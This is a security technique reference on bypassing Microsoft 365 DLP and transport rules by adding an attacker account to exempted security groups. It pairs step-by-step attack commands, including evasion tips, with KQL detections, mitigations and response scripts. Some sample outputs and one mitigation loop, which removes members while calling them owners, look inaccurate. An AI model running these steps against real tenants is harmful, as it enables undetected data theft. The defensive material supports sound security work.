| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-010 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Entra ID / M365 (Exchange Online, DLP) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Exchange Online (all versions), Entra ID (all versions) |
| Patched In | N/A (Requires policy configuration) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: M365 security policies (Data Loss Prevention, transport rules, anti-phishing rules, anti-spam rules) support scoping via security groups and distribution groups. An attacker with Compliance Admin or DLP Admin permissions can add malicious users or attacker-controlled accounts to exempted security groups, allowing them to bypass email security controls. This exemption abuse enables silent data exfiltration, malware delivery, and phishing campaign execution without triggering DLP alerts, anti-phishing detections, or audit notifications.
Unlike deleting a policy outright (which is immediately visible in audit logs), adding a user to an exempted security group appears as a normal group membership operation and is often overlooked by security teams.
Attack Surface: Entra ID security group membership management, DLP policy scoping, Exchange transport rule exemptions, M365 audit logs.
Business Impact: Selective Security Policy Bypass. An attacker can exempt specific accounts from DLP scanning, anti-phishing checks, and anti-spam filters. For example, an attacker could add their own compromised account to an “Executive Finance Team” security group that is exempted from DLP, allowing them to send credit card numbers, bank account details, and passwords without triggering any alerts. Multiplied across hundreds or thousands of emails, this enables massive data theft while maintaining a low detection profile.
Technical Context: Security group scoping is implemented at the policy evaluation engine level. When an email matches a policy condition, the system first checks if the sender or recipient is a member of an exempted group. If yes, the policy action (block, encrypt, log) is skipped. This is intentional for administrative flexibility but creates a significant attack surface when groups are over-provisioned or when group membership is controlled by compromised accounts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.2 | Ensure that only authorized users are members of security groups used for policy scoping. |
| DISA STIG | Microsoft.Exchange.Database.12450 | Monitor security group membership changes; alert on additions by non-authorized accounts. |
| CISA SCuBA | Exchange.2.3 | Audit and restrict DLP policy scoping to prevent exemption abuse. |
| NIST 800-53 | AC-2, AC-6 | Account Management and Least Privilege—group membership should follow least privilege. |
| GDPR | Art. 32 | Security of Processing—circumventing DLP by group exemptions violates data protection. |
| DORA | Art. 9 | Protection and Prevention—email security controls must not be bypassed via policy manipulation. |
| NIS2 | Art. 21 | Organizations must monitor and restrict unauthorized changes to security policies. |
| ISO 27001 | A.9.2.1, A.9.2.5 | User Access Management and Access Rights Review. |
| ISO 27005 | Risk Scenario | “Unauthorized addition of attacker-controlled accounts to exempted security groups.” |
AzureAD module.Supported Versions:
Tools:
Objective: Enumerate existing security groups used for DLP/mail flow rule scoping to identify which groups provide exemptions and their current membership.
Command:
# Connect to Entra ID and Exchange Online
Connect-AzureAD -TenantId "contoso.onmicrosoft.com"
Connect-ExchangeOnline -UserPrincipalName admin@contoso.com
# Enumerate DLP policies and their scoped groups
Get-DlpPolicy | Select-Object Name, Enabled, ExchangeLocation | Format-List
# Get detailed DLP policy scoping
Get-DlpPolicy -Identity "Sensitive Data Protection" | Select-Object *Scope*
# Enumerate distribution groups
Get-DistributionGroup | Select-Object DisplayName, PrimarySmtpAddress, MemberCount | Format-Table -AutoSize
# Get members of a specific group (e.g., Finance group used for exemption)
Get-DistributionGroupMember -Identity "Finance-Executives" | Select-Object DisplayName, PrimarySmtpAddress, RecipientType
What to Look For:
Objective: Query Entra ID for group management permissions and auditing status.
Command:
# Enumerate groups and their owners
az ad group list --query "[].{displayName:displayName, id:id, createdDateTime:createdDateTime}" --output table
# Get members of a group
az ad group member list --group "Finance-Executives" --query "[].{displayName:displayName, mail:mail, userPrincipalName:userPrincipalName}" --output table
# Check for group management roles
az rest --method get \
--url "https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Groups Administrator'" \
--headers "Authorization=Bearer {access_token}"
What to Look For:
Supported Versions: Entra ID (all versions), Exchange Online (all versions)
Objective: Discover which security groups are used to exempt users from DLP policies.
Command:
# Get all DLP policies and their exception groups
$DlpPolicies = Get-DlpPolicy
foreach ($Policy in $DlpPolicies) {
Write-Host "DLP Policy: $($Policy.Name)"
Write-Host "Enabled: $($Policy.Enabled)"
Write-Host "Exception Groups (ExceptIfSenderInternalType): $($Policy.ExceptionConnectorSenderIs)"
Write-Host "---"
}
# Alternatively, check mail flow rules for exemption patterns
Get-TransportRule | Where-Object {$_.ExceptIfFromMemberOf} | Select-Object Name, ExceptIfFromMemberOf
Expected Output:
DLP Policy: Confidential Data Protection
Enabled: True
Exception Groups: Finance-Executives, Legal-Department
DLP Policy: Credit Card Detection
Enabled: True
Exception Groups: Payment-Processing-Team
What This Means:
OpSec & Evasion:
Objective: Add the attacker-controlled account to the exempted security group.
Command:
# Add attacker's account to DLP-exempted group
$Group = Get-DistributionGroup -Identity "Finance-Executives"
$AttackerAccount = Get-User -Identity "attacker@contoso.com"
Add-DistributionGroupMember -Identity $Group.Identity -Member $AttackerAccount.Identity -Confirm:$false
# Verify membership
Get-DistributionGroupMember -Identity $Group.Identity | Where-Object {$_.PrimarySmtpAddress -eq "attacker@contoso.com"}
Expected Output:
DisplayName PrimarySmtpAddress
----------- ------------------
Attacker User attacker@contoso.com
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-DistributionGroup | Where-Object {$_.DisplayName -like "*Finance*"}Objective: Confirm that DLP policies now exempt the added account.
Command:
# Check DLP policy evaluation for the attacker's account
Get-DlpPolicy -Identity "Confidential Data Protection" | Select-Object Name, Enabled, ExceptionConnectorSenderIs
# Test by sending a test email with sensitive data (in lab environment)
# Email from: attacker@contoso.com
# To: external-recipient@example.com
# Body: Contains credit card number (4111-1111-1111-1111)
# Verification: Email should be delivered WITHOUT DLP alert or block.
Expected Behavior:
References & Proofs:
Supported Versions: Exchange Online (all versions)
Objective: Create a new security group (appears legitimate) and add attacker’s account as the only member.
Command:
# Create a new security group with a legitimate-sounding name
$GroupName = "Executive Communications Review Team"
$GroupDescription = "Group for executives to review confidential communications"
New-DistributionGroup -Name $GroupName -DisplayName $GroupName -Description $GroupDescription -Type Security
# Add attacker's account as member
Add-DistributionGroupMember -Identity $GroupName -Member "attacker@contoso.com" -Confirm:$false
# Verify creation
Get-DistributionGroup -Identity $GroupName | Select-Object DisplayName, MemberCount
Expected Output:
DisplayName MemberCount
----------- -----------
Executive Communications Review Team 1
What This Means:
Objective: Modify existing DLP policy to exempt the attacker-controlled group.
Command:
# Get the DLP policy
$DlpPolicy = Get-DlpPolicy -Identity "Confidential Data Protection"
# Modify the policy to add exemption for attacker's group
# Note: This requires accessing the policy's ExceptionConnectorSenderIs or similar properties
# Alternative: Modify via New-DlpPolicy with existing conditions but updated exceptions
$ExceptionGroup = Get-DistributionGroup -Identity "Executive Communications Review Team"
# Update policy (example - exact syntax depends on policy type)
Set-DlpPolicy -Identity $DlpPolicy.Identity -ExceptionConnectorSenderIs @{Add=$ExceptionGroup.Identity} -Confirm:$false
Expected Output:
Policy updated successfully.
Exception groups now include: Finance-Executives, Executive Communications Review Team
What This Means:
OpSec & Evasion:
References:
Supported Versions: Exchange Online (all versions)
Objective: Find transport rules that use ExceptIfFromMemberOf condition (exempts rule from applying to certain groups).
Command:
# Get all transport rules with group exemptions
$RulesWithExemptions = Get-TransportRule | Where-Object {$_.ExceptIfFromMemberOf -ne $null}
foreach ($Rule in $RulesWithExemptions) {
Write-Host "Rule Name: $($Rule.Name)"
Write-Host "Exempt Groups: $($Rule.ExceptIfFromMemberOf)"
Write-Host "Action: $($Rule.Actions)"
Write-Host "---"
}
Expected Output:
Rule Name: Block External Credit Card Sharing
Exempt Groups: Finance-Approved-Senders
Action: Block unless from exempt group
---
What This Means:
Command:
# Add attacker account to the exemption group
$ExemptGroup = Get-DistributionGroup -Identity "Finance-Approved-Senders"
Add-DistributionGroupMember -Identity $ExemptGroup.Identity -Member "attacker@contoso.com" -Confirm:$false
# Verify
Get-DistributionGroupMember -Identity $ExemptGroup.Identity | Format-Table DisplayName, PrimarySmtpAddress
Expected Output:
DisplayName PrimarySmtpAddress
----------- ------------------
Finance Officer finance.officer@contoso.com
Attacker attacker@contoso.com
What This Means:
Supported Versions: Exchange Online (all versions)
Objective: Navigate to DLP policy configuration via web UI.
Manual Steps:
Expected Output:
Manual Steps:
Expected Outcome:
OpSec & Evasion:
Rule Configuration:
AuditLogs, DirectoryAuditOperationName, InitiatedBy, TargetResources, AuditDataKQL Query:
AuditLogs
| where OperationName =~ "Add member to group"
| where TargetResources[0].displayName in ("Finance-Executives", "Legal-Department", "Executive Communications Review Team", "Finance-Approved-Senders")
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend AddedMember = TargetResources[1].displayName
| extend AddedMemberUpn = TargetResources[1].userPrincipalName
| where AddedMemberUpn !endswith "@contoso.com" or AddedMemberUpn has "attacker" or AddedMemberUpn has "test"
| project TimeGenerated, InitiatedByUpn, TargetResources[0].displayName, AddedMember, AddedMemberUpn
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Addition to DLP-Exempted GroupHigh10 minutes30 minutesUser (InitiatedByUpn, AddedMemberUpn), Resource (group name)Rule Configuration:
AuditLogsKQL Query:
AuditLogs
| where OperationName =~ "Set-DlpPolicy"
| where tostring(TargetResources[0].modifiedProperties) contains "ExceptionConnectorSenderIs" or tostring(TargetResources[0].modifiedProperties) contains "ExceptionRecipientDomainIs"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend PolicyName = TargetResources[0].displayName
| extend ModifiedProperties = TargetResources[0].modifiedProperties
| where InitiatedByUpn !in ("compliance-admin@contoso.com")
| project TimeGenerated, InitiatedByUpn, PolicyName, ModifiedProperties
What This Detects:
Alert Name: “Suspicious security group membership change”
Manual Configuration Steps (Enable Alerts):
Connect-ExchangeOnline
# Search for all group membership additions
Search-UnifiedAuditLog -Operations "Add member to group" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) | Select-Object UserIds, Operations, CreationDate, AuditData
# Filter for suspicious additions to known exemption groups
Search-UnifiedAuditLog -Operations "Add member to group" `
-StartDate (Get-Date).AddDays(-7) `
-FreeText "Finance-Executives" | Export-Csv -Path "C:\GroupMembershipAudit.csv"
1. Implement Strict Access Controls on Exemption Groups
Restrict who can modify group membership to prevent unauthorized additions.
Manual Steps (Entra ID - Group Ownership):
Manual Steps (PowerShell - Restrict Group Management):
# Get exemption group
$Group = Get-DistributionGroup -Identity "Finance-Executives"
# Remove all non-essential owners
$Owners = Get-DistributionGroupMember -Identity $Group.Identity
foreach ($Owner in $Owners) {
if ($Owner.DisplayName -notmatch "Chief Financial Officer|Compliance Officer") {
Remove-DistributionGroupMember -Identity $Group.Identity -Member $Owner.Identity -Confirm:$false
}
}
2. Disable Self-Service Group Management
Prevent users from adding themselves to exemption groups.
Manual Steps (Entra ID - Group Settings):
3. Enable PIM for Exemption Group Ownership
Require just-in-time activation for group management.
Manual Steps (PIM - Exemption Group Roles):
4. Regular Audit of Exemption Group Membership
Conduct monthly reviews of who is in exemption groups.
Manual Steps:
# Monthly audit script
$ExemptionGroups = @("Finance-Executives", "Legal-Department", "Executive Communications Review Team")
foreach ($GroupName in $ExemptionGroups) {
Write-Host "=== Group: $GroupName ==="
Get-DistributionGroupMember -Identity $GroupName | Select-Object DisplayName, PrimarySmtpAddress, RecipientType | Format-Table
Write-Host ""
}
# Export to CSV for compliance review
Get-DistributionGroupMember -Identity "Finance-Executives" | Export-Csv -Path "C:\Exemption_Group_Audit_$(Get-Date -Format 'yyyy-MM-dd').csv"
5. Remove DLP Policy Exemptions Where Possible
Reduce the number of exempted groups; require legitimate business justification for each.
Manual Steps:
6. Implement Conditional Access for DLP Admin Role
Require MFA and compliant device for anyone managing DLP policies.
Manual Steps:
"Require MFA for DLP Admins"# Verify exemption group owners
$ExemptGroups = @("Finance-Executives", "Legal-Department")
foreach ($Group in $ExemptGroups) {
Write-Host "Group: $Group"
Get-DistributionGroup -Identity $Group | Select-Object ManagedBy
}
# Verify DLP policies have minimal exemptions
Get-DlpPolicy | Select-Object Name, ExceptionConnectorSenderIs, ExceptionRecipientDomainIs
# Check if PIM is enabled for group management
Get-AzureADMSPrivilegedRoleDefinition -DisplayName "Owner" | Select-Object DisplayName, Enabled
Expected Output (If Secure):
Group: Finance-Executives
ManagedBy: CFO (1 owner)
Group: Legal-Department
ManagedBy: General Counsel (1 owner)
DLP Policies: Minimal exemptions (< 5 groups per policy)
PIM Enabled: True
Audit Log Indicators:
OperationName: "Add member to group"TargetResources: Group name is in known exemption listAuditData.ObjectId: Newly added member is non-standard accountCreationDate: Addition occurs outside business hours or by non-standard adminAuditData.ModifiedProperties: Shows addition to group with “Exempt” or “Exception” in nameDLP Behavioral Indicators:
Forensic Artifacts:
AuditData blob contains group membership change details# Remove attacker account from exemption group
Remove-DistributionGroupMember -Identity "Finance-Executives" -Member "attacker@contoso.com" -Confirm:$false
# Verify removal
Get-DistributionGroupMember -Identity "Finance-Executives" | Where-Object {$_.PrimarySmtpAddress -eq "attacker@contoso.com"}
# Should return: (empty - no results)
# Check all groups the attacker was added to
Search-UnifiedAuditLog -Operations "Add member to group" -StartDate (Get-Date).AddDays(-30) `
-FreeText "attacker@contoso.com" | Select-Object UserIds, AuditData
# Review all emails sent by attacker in past 30 days
Search-MailboxAuditLog -Identity "attacker@contoso.com" -Operations Send -StartDate (Get-Date).AddDays(-30)
# Check for emails sent to external domains (potential exfiltration)
Search-UnifiedAuditLog -Operations "Send" -UserIds "attacker@contoso.com" -StartDate (Get-Date).AddDays(-30)
# Reset compromised admin account that added attacker to group
Set-AzureADUserPassword -ObjectId "admin@contoso.com" -Password (ConvertTo-SecureString -AsPlainText "NewStrongPassword123!" -Force)
# Force sign-out
Revoke-AzureADUserAllRefreshToken -ObjectId "admin@contoso.com"
# Review and remove attacker's account(s)
Remove-MsolUser -UserPrincipalName "attacker@contoso.com" -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker compromises admin account via phishing or OAuth app. |
| 2 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker grants self additional permissions. |
| 3 | Defense Evasion | [EVADE-IMPAIR-010] | Attacker adds themselves to DLP-exempted security group. |
| 4 | Collection | [COLLECT-EMAIL-001] Email Collection via EWS | Attacker uses exempted status to collect confidential emails. |
| 5 | Exfiltration | [COLLECT-EMAIL-002] Outlook Mailbox Export | Attacker exports mailbox contents without DLP detection. |
Security group exemption abuse is a sophisticated and often-overlooked defense evasion technique. By adding an attacker-controlled account to DLP-exempted groups, an attacker can:
Key Defense Recommendations:
Organizations must treat security groups used for policy scoping with the same vigilance as privileged accounts, as the ability to bypass security policies is a critical attack surface.